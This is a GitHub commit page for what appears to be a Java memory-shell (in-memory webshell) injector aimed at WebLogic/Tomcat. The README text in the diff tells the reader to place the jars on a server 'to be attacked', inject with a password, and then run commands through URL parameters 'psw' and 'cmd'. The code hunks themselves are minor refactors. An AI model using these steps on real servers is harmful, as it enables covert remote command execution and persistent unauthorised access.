Skip to content

Commit 314b9d3

Browse files
committed
fix some bug
1 parent e598899 commit 314b9d3

File tree

11 files changed

+28
-58
lines changed

11 files changed

+28
-58
lines changed

README.md

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -27,10 +27,9 @@
2727

2828
# 使用说明
2929
1. 克隆本项目。
30-
2. `cd inject`->`mvn clean package`
31-
3. `cd memshell_asm`->`mvn clean package`
32-
4. 将生成jar包统一放入待攻击的服务器中,运行`java -jar inject.jar [your_password]`,即可注入。
33-
5. 访问任意url,带上参数`psw=your_password&cmd=your_cmd`,即可执行命令。
30+
2. 运行mvn clean package
31+
3. 将生成jar包统一放入待攻击的服务器中,运行`java -jar inject.jar [your_password]`,即可注入。
32+
4. 访问任意url,带上参数`psw=your_password&cmd=your_cmd`,即可执行命令。
3433
# 测试案例
3534
运行`java -jar inject-1.0.jar x1001`
3635
![java](./img/java.png)

inject/src/main/java/Attach.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,6 @@ public static void main(String[] args) throws Exception {
2020
String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();
2121
currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
2222
String agentFile = currentPath + "shell-agent.jar";
23-
2423
agentFile = new File(agentFile).getCanonicalPath();
2524
String agentArgs = currentPath;
2625
agentArgs = agentArgs + "^" + password;

memshell_asm/.gitignore

Lines changed: 0 additions & 34 deletions
This file was deleted.

memshell_asm/pom.xml

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -72,15 +72,15 @@
7272
</configuration>
7373
</plugin>
7474
<plugin>
75-
<groupId>org.apache.maven.plugins</groupId>
76-
<artifactId>maven-compiler-plugin</artifactId>
77-
<version>2.5.1</version>
78-
<configuration>
79-
<source>1.8</source>
80-
<target>1.8</target>
81-
<encoding>utf8</encoding>
82-
<showWarnings>true</showWarnings>
83-
</configuration>
75+
<groupId>org.apache.maven.plugins</groupId>
76+
<artifactId>maven-compiler-plugin</artifactId>
77+
<version>2.5.1</version>
78+
<configuration>
79+
<source>1.8</source>
80+
<target>1.8</target>
81+
<encoding>utf8</encoding>
82+
<showWarnings>true</showWarnings>
83+
</configuration>
8484
</plugin>
8585
<plugin>
8686
<groupId>org.apache.maven.plugins</groupId>

memshell_asm/src/main/java/cn/com/x1001/Agent.java

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,15 +5,13 @@
55
* 2020/11/17
66
*
77
*/
8+
89
import cn.com.x1001.bean.ClassInfo;
910
import cn.com.x1001.bean.InstrumentationContext;
1011
import cn.com.x1001.hook.HookTransformer;
11-
import cn.com.x1001.utils.StringUtil;
1212

1313
import java.io.*;
1414
import java.lang.instrument.Instrumentation;
15-
import java.lang.management.ManagementFactory;
16-
import java.lang.management.RuntimeMXBean;
1715
import java.util.Arrays;
1816

1917
public class Agent {

memshell_asm/src/main/java/cn/com/x1001/bean/ClassInfo.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,12 +33,13 @@ public HashMap<String, String> getMethodDesc() {
3333
return methodDesc;
3434
}
3535

36+
3637
@Override
3738
public boolean equals(Object o) {
3839
if (this == o) return true;
3940
if (o == null || getClass() != o.getClass()) return false;
4041
ClassInfo classInfo = (ClassInfo) o;
41-
return Objects.equals(className, classInfo.className);
42+
return className.equals(classInfo.className);
4243
}
4344

4445
@Override

memshell_asm/src/main/java/cn/com/x1001/bean/InstrumentationContext.java

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -73,9 +73,16 @@ public boolean isExistClass(Class[] interfaces) {
7373
return false;
7474
}
7575

76+
/**
77+
* 获取接口或父类是hook点hook点信息
78+
* @param ancestors 当前类的父类或接口set
79+
*/
7680
public ClassInfo getAncestorHookPoint(HashSet<String> ancestors) {
7781
for (String ancestor : ancestors) {
78-
return getThisHookPoint(ancestor);
82+
ClassInfo thisHookPoint = getThisHookPoint(ancestor);
83+
if( thisHookPoint!= null){
84+
return thisHookPoint;
85+
}
7986
}
8087
return null;
8188
}

memshell_asm/src/main/java/cn/com/x1001/hook/ShellChecker.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
package cn.com.x1001.hook;
22

33
import cn.com.x1001.Agent;
4-
import cn.com.x1001.http.AbstractRequest;
54
import cn.com.x1001.http.CoyoteRequest;
65
import cn.com.x1001.http.HttpResponse;
76

memshell_asm/src/main/java/cn/com/x1001/http/AbstractRequest.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,5 @@
11
package cn.com.x1001.http;
22

3-
import sun.reflect.Reflection;
4-
53
import java.util.UUID;
64

75
/**

memshell_asm/src/main/java/cn/com/x1001/http/HttpResponse.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,6 @@
22

33
import cn.com.x1001.utils.Reflection;
44

5-
import java.io.PrintWriter;
6-
75
public class HttpResponse {
86
private Object response;
97
protected static final Class[] EMPTY_CLASS = new Class[]{};

pom.xml

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,12 @@
66

77
<groupId>org.example</groupId>
88
<artifactId>weblogic_memshell</artifactId>
9+
<packaging>pom</packaging>
910
<version>1.0-SNAPSHOT</version>
11+
<modules>
12+
<module>inject</module>
13+
<module>memshell_asm</module>
14+
</modules>
1015

1116

1217
</project>

0 commit comments

Comments
 (0)